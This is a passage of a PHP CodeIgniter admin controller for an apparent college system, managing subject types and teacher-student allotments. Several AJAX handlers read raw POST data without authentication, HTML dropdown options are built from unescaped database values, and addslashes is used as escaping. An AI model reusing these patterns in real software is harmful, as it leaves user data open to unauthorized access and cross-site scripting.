'stu_gender' => $gender, 'stu_roll_no' => stripslashes($allot_info->tspi_rollNumber), 'stu_dob' => date('d-m-Y', strtotime($allot_info->tspi_dob)), 'stu_course' => stripslashes($allot_info->course_name), 'stu_session' => stripslashes($allot_info->session_name), 'stu_entry_type' => stripslashes($allot_info->tcsm_course_type), 'stu_section' => $allot_info->tsssi_section, 'stu_semester' => $allot_info->tsssi_semester, 'course' => $allot_info->course_name, 'course_id' => $allot_info->course_id, 'subject_id' => $allot_info->sm_id, 'subject_name' => stripslashes($allot_info->sm_name), 'allot_id' => $allot_info->ssa_id ); echo json_encode($responseData); } /* Request Handlers For Teacher Student Allotment */ public function teacherStudentAllotment() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'N'))->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['designation_types'] = $this->DesignationManagement->getAllDesignationCategories()->result(); $this->load->view('admin/academics/teacherSubjectStudentAllot', $viewData); } else { redirect("admin/"); } } public function saveNewSSTAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $selectedStudents = $this->input->post('selectedStudents'); $subjectTeacherAllomentArray = array( 'smember_id' => $this->input->post('emp'), 'sm_id' => $this->input->post('subject'), 'sta_allotted_on' => date("Y-m-d H:i:s"), 'sta_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'session_id' => trim($this->input->post('session')), ); $sta_id = $this->SubjectManagement->saveSubjectTeacherAllotmentDetails($subjectTeacherAllomentArray); $studentTeacherAllotmentData = array(); for ($i = 0; $i < sizeof($selectedStudents); $i++) { array_push($studentTeacherAllotmentData, array( 'tspi_id' => $selectedStudents[$i], 'sta_id' => $sta_id, 'stta_allotted_on' => date("Y-m-d H:i:s"), 'stta_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'stta_updated_on' => date("Y-m-d H:i:s"), 'stta_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } if ($this->SubjectManagement->createTeacherStudentAllotment($studentTeacherAllotmentData)) { $this->session->set_flashdata('successMessage', 'Student Alloted To Teacher Successfully.'); redirect("admin/Subject/teacherStudentAllotment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Subject And Student(s) To Teacher. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } /* Request Handlers For Subject Type */ public function subjectTypes() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSubjectsTypes'] = $this->SubjectManagement->getAllSubjectTypes()->result(); $this->load->view('admin/academics/subjectTypes', $viewData); } else { redirect("admin/"); } } public function createSubjectType() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view("admin/academics/createSubjectType"); } else { redirect('admin/'); } } public function saveNewSubjectType() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('subjectTypeName', 'Subject Type Name', 'required|trim', array('required' => 'Subject Type Name Can Not Be Blank.')); $this->form_validation->set_rules('subjectTypeDescription', 'Subject Type Description', 'required|trim', array('required' => 'Subject Type Description Can Not Be Blank.')); $queryBySubjectTypeName = $this->SubjectManagement->getSubjectTypeInfoByName(trim($this->input->post('subjectTypeName'))); $subjectTypeInfoByName = $queryBySubjectTypeName->result(); if ($this->form_validation->run() == FALSE) { $this->createSubjectType(); } else if (sizeof($subjectTypeInfoByName)) { $this->session->set_flashdata('errorMessage', "A Subject Type With This Name (" . trim($this->input->post('subjectTypeName')) . ") Already Exits. Please Choose A Different Name."); $this->createSubjectType(); } else { $newSubjectInfo = array( 'st_name' => addslashes(trim($this->input->post('subjectTypeName'))), 'st_description' => addslashes(trim($this->input->post('subjectTypeDescription'))), 'st_added_on' => date("Y-m-d H:i:s"), 'st_added_by' => $this->session->userdata("adminData")["smember_id"], 'st_updated_on' => date("Y-m-d H:i:s"), 'st_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SubjectManagement->createNewSubjectType($newSubjectInfo)) { $this->session->set_flashdata('successMessage', 'Subject Type Created Successfully.'); redirect("admin/Subject/subjectTypes"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Subject Type. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editSubjectType($subject_type_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData["subjectTypeInfo"] = $this->SubjectManagement->getSubjectTypeInfoBy($subject_type_id)->result()[0]; $this->load->view("admin/academics/editSubjectType", $viewData); } else { redirect('admin/'); } } public function updateNewSubjectType() { if ($this->sessionvalidator->isLoggedIn()) { $st_id = $this->input->post("st_id"); $this->form_validation->set_rules('subjectTypeName', 'Subject Type Name', 'required|trim', array('required' => 'Subject Type Name Can Not Be Blank.')); $this->form_validation->set_rules('subjectTypeDescription', 'Subject Type Description', 'required|trim', array('required' => 'Subject Type Description Can Not Be Blank.')); $queryBySubjectTypeName = $this->SubjectManagement->getSubjectTypeInfoByName(trim($this->input->post('subjectTypeName'))); $subjectTypeInfoByName = $queryBySubjectTypeName->result(); if ($this->form_validation->run() == FALSE) { $this->editSubjectType($st_id); } else if (sizeof($subjectTypeInfoByName)) { $this->session->set_flashdata('errorMessage', "A Subject Type With This Name (" . trim($this->input->post('subjectTypeName')) . ") Already Exits. Please Choose A Different Name."); $this->editSubjectType($st_id); } else { $newSubjectInfo = array( 'st_name' => addslashes(trim($this->input->post('subjectTypeName'))), 'st_description' => addslashes(trim($this->input->post('subjectTypeDescription'))), 'st_updated_on' => date("Y-m-d H:i:s"), 'st_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SubjectManagement->updateSubjectTypeInfo($newSubjectInfo, $st_id)) { $this->session->set_flashdata('successMessage', 'Subject Type Edited Successfully.'); redirect("admin/Subject/subjectTypes"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Editing Subject Type. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleSubjectTypeStatus($st_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $subjectTypeUpdateData = array( 'st_updated_on' => date("Y-m-d H:i:s"), 'st_updated_by' => $this->session->userdata("adminData")["smember_id"], 'st_active_status' => $toUpdateStatus ); if ($this->SubjectManagement->updateSubjectTypeInfo($subjectTypeUpdateData, $st_id)) { $this->session->set_flashdata('successMessage', 'Subject Type Status Updated Successfully.'); redirect("admin/Subject/subjectTypes"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Subject Type Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteSubjectType($sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $subjectUpdateData = array( 'st_updated_on' => date("Y-m-d H:i:s"), 'st_updated_by' => $this->session->userdata("adminData")["smember_id"], 'st_delete_status' => 'T' ); if ($this->SubjectManagement->updateSubjectTypeInfo($subjectUpdateData, $sm_id)) { $this->session->set_flashdata('successMessage', 'Subject Type Deleted Successfully.'); redirect("admin/Subject/subjectTypes"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Subject Type. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function undoDeleteSubjectType($st_id) { if ($this->sessionvalidator->isLoggedIn()) { $subjectUpdateData = array( 'st_updated_on' => date("Y-m-d H:i:s"), 'st_updated_by' => $this->session->userdata("adminData")["smember_id"], 'st_delete_status' => 'F' ); if ($this->SubjectManagement->updateSubjectTypeInfo($subjectUpdateData, $st_id)) { $this->session->set_flashdata('successMessage', 'Subject Type Recovered Successfully.'); redirect("admin/Subject/subjectTypes"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Subject Type. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getSubjectsForDropDown() { $subject_id = $_POST['subject']; $subject_info = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result(); if (sizeof($subject_info)) { $options = "<option value=''>Select Subject</option>"; for ($i = 0; $i < (sizeof($subject_info)); $i++) { $selected = ($subject_id == $subject_info[$i]->sm_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $subject_info[$i]->sm_id . ">" . $subject_info[$i]->sm_name . "</option>"; } } else { $options = "<option value=''>No Subject(s) Are Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $options ); echo json_encode($responseData); } /* Request Handlers For Teacher-Subject Allotment Module */ public function viewTeachersExistingAllotmentDetails() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['designation_types'] = $this->DesignationManagement->getAllDesignationCategories()->result(); $viewData['selectedDept'] = ""; $viewData['selectedSubDept'] = ""; $viewData['selectedDesigType'] = ""; $viewData['selectedEmp'] = ""; $viewData['selectedSession'] = ""; $viewData['selectedCourse'] = ""; $viewData['selectedSemester'] = ""; $viewData['selectedSubject'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $reqCourse = trim($this->input->post("subjectCourse")); $reqSemester = trim($this->input->post("subjectCourseSemOrYear")); $reqSubject = trim($this->input->post("subject")); $reqDept = trim($this->input->post("dept")); $reqSubDept = trim($this->input->post("subDept")); $reqDesigType = trim($this->input->post("desig_type")); $reqEmp = trim($this->input->post("emp")); $reqSession = trim($this->input->post("session")); $viewData['selectedDept'] = $reqDept; $viewData['selectedSubDept'] = $reqSubDept; $viewData['selectedDesigType'] = $reqDesigType; $viewData['selectedEmp'] = $reqEmp; $viewData['selectedSession'] = $reqSession; $viewData['selectedCourse'] = $reqCourse; $viewData['selectedSemester'] = $reqSemester; $viewData['selectedSubject'] = $reqSubject; $viewData['allotmentData'] = $this->SubjectManagement->getSubjectTeacherAllotementDetails('', $reqDept, $reqSubDept, $reqCourse, $reqDesigType, $reqEmp, $reqSemester, $reqSubject, $reqSession)->result(); $this->load->view('admin/academics/allotedSubjectsToTeacher', $viewData); } else { $viewData['allotmentData'] = $this->SubjectManagement->getSubjectTeacherAllotementDetails()->result(); $this->load->view('admin/academics/allotedSubjectsToTeacher', $viewData); } } else { redirect("admin/"); } } public function getSubjectTeacherAllotmentFullInfo() { $sta_id = $_POST['sta_id']; $allot_info = $this->SubjectManagement->getSubjectTeacherAllotementDetails($sta_id)->result()[0]; if ($allot_info->tprfl_gender == "M") { $gender = "<i class='fa fa-male'></i>|Male"; } else if ($allot_info->tprfl_gender == "F") { $gender = "<i class='fa fa-female'></i>|Female"; } else { $gender = "<i class='fa fa-transgender'></i>|Transgender"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'sta_id' => $allot_info->sta_id, 'tprfl_name' => stripslashes($allot_info->tprfl_firstname) . " " . stripslashes($allot_info->tprfl_lastname), 'tprfl_gender' => $gender, 'course_name' => stripslashes($allot_info->course_name), 'smember_id' => $allot_info->smember_id, 'alloted_subject' => $allot_info->sm_name, 'subject_id' => $allot_info->sm_id, 'session_id' => $allot_info->subject_tech_session ); echo json_encode($responseData); } public function getSubjectTeacherAllotmentDetails() { $smember_id = $_POST['smember_id']; $session_id = $_POST['session_id']; $subject_id = $_POST['subject_id']; $course_id = $_POST['course_id']; $allotmentDetails = $this->SubjectManagement->getSubjectTeacherAllotementDetails('', '', '', $course_id, '', $smember_id, '', $subject_id, $session_id)->result(); if (sizeof($allotmentDetails)) { $allot_info = $allotmentDetails[0]; if ($allot_info->tprfl_gender == "M") { $gender = "<i class='fa fa-male'></i>|Male"; } else if ($allot_info->tprfl_gender == "F") { $gender = "<i class='fa fa-female'></i>|Female"; } else { $gender = "<i class='fa fa-transgender'></i>|Transgender"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'allotment_avail' => 1, 'sta_id' => $allot_info->sta_id, 'tprfl_name' => stripslashes($allot_info->tprfl_firstname) . " " . stripslashes($allot_info->tprfl_lastname), 'tprfl_gender' => $gender, 'course_name' => stripslashes($allot_info->course_name), 'smember_id' => $allot_info->smember_id, 'alloted_subject' => $allot_info->sm_name, 'subject_id' => $allot_info->sm_id, 'session_id' => $allot_info->subject_tech_session ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'allotment_avail' => 0, 'sta_id' => "", 'tprfl_name' => "", 'tprfl_gender' => "", 'course_name' => "", 'smember_id' => "", 'alloted_subject' => "", 'subject_id' => "", 'session_id' => "" ); } echo json_encode($responseData); } public function updateSubjectFacultyAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $emp = $this->input->post("emp_mod"); $sta_id = $this->input->post("sta_id"); $subjectTeacherAllotmentArray = array('smember_id' => $emp); if ($this->SubjectManagement->updateSubjectTeacherAllotementDetails($subjectTeacherAllotmentArray, $sta_id)) { $this->session->set_flashdata('successMessage', 'New Teacher Updated Successfully.'); redirect("admin/Subject/viewTeachersExistingAllotmentDetails"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Teacher. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteStudentTeacherAllotment($stta_id) { if ($this->sessionvalidator->isLoggedIn()) { $this->db->trans_start(); if ($this->SubjectManagement->deleteStudentTeacherAllotInfo($stta_id)) { $this->session->set_flashdata('successMessage', 'Teacher-Student Allotment Info Deleted Successfully.'); $this->db->trans_complete(); redirect("admin/Subject/viewTeachersExistingAllotmentDetails"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Student-Subject Allotment Info. Try Later.'); redirect("admin/Subject/viewTeachersExistingAllotmentDetails"); } } else { redirect("admin/"); } } public function saveNewStudentsToExistingSubjectTeacherAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $selectedStudents = $this->input->post('selectedStudents'); $sta_id = $this->input->post("staid"); $studentTeacherAllotmentData = array(); for ($i = 0; $i < sizeof($selectedStudents); $i++) { array_push($studentTeacherAllotmentData, array( 'tspi_id' => $selectedStudents[$i], 'sta_id' => $sta_id, 'stta_allotted_on' => date("Y-m-d H:i:s"), 'stta_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'stta_updated_on' => date("Y-m-d H:i:s"), 'stta_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } if ($this->SubjectManagement->createTeacherStudentAllotment($studentTeacherAllotmentData)) { $this->session->set_flashdata('successMessage', 'Student Alloted To Teacher Successfully.'); redirect("admin/Subject/viewTeachersExistingAllotmentDetails"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Student(s) To Teacher. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getSubjectBySessionForDropdown() { $session_id = $_POST['session_id']; $sm_id = $this->input->post("sm_id"); $query = $this->SubjectManagement->getDistinctSubjectAllotedInSession($session_id); $data = $query->result(); $options = "<option value=''>Select Subject</option>"; for ($i = 0; $i < (sizeof($data)); $i++) { $selected = ($sm_id == $data[$i]->sm_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $data[$i]->sm_id . ">" . $data[$i]->sm_name . "-" . $data[$i]->sm_code . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $options ); echo json_encode($responseData); } public function creditBasedSubjectReport() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['allSubjects'] = array(); $viewData['courseName'] = array(); $viewData["selectedSem"] = 0; if (isset($_POST["filterTestBtn"])) { $viewData['courseName'] = $this->CourseManagement->getCoursesBy($this->input->post('subjectCourse'))->result(); $viewData['allSubjects'] = $this->SubjectManagement->getNonDeletedActiveSubjectsByCourseSemester($this->input->post('subjectCourse'), $this->input->post('subjectCourseSemOrYear'))->result(); $viewData["selectedSem"] = $this->input->post('subjectCourseSemOrYear'); } $this->load->view('admin/academics/subjectReport', $viewData); } else { redirect("admin/"); } } public function getSubjectsForDropDownUsingCourse() { $course_id = $_POST['course_id']; $subject_id = $_POST['subject']; $subject_info = $this->SubjectManagement->getNonDeletedActiveSubjectsByCourse($course_id)->result(); if (sizeof($subject_info)) { $options = "<option value=''>Select Subject</option>"; for ($i = 0; $i < (sizeof($subject_info)); $i++) { $selected = ($subject_id == $subject_info[$i]->sm_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $subject_info[$i]->sm_id . ">" . $subject_info[$i]->sm_name . "</option>"; } } else { $options = "<option value=''>No Subject(s) Are Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $options ); echo json_encode($responseData); } }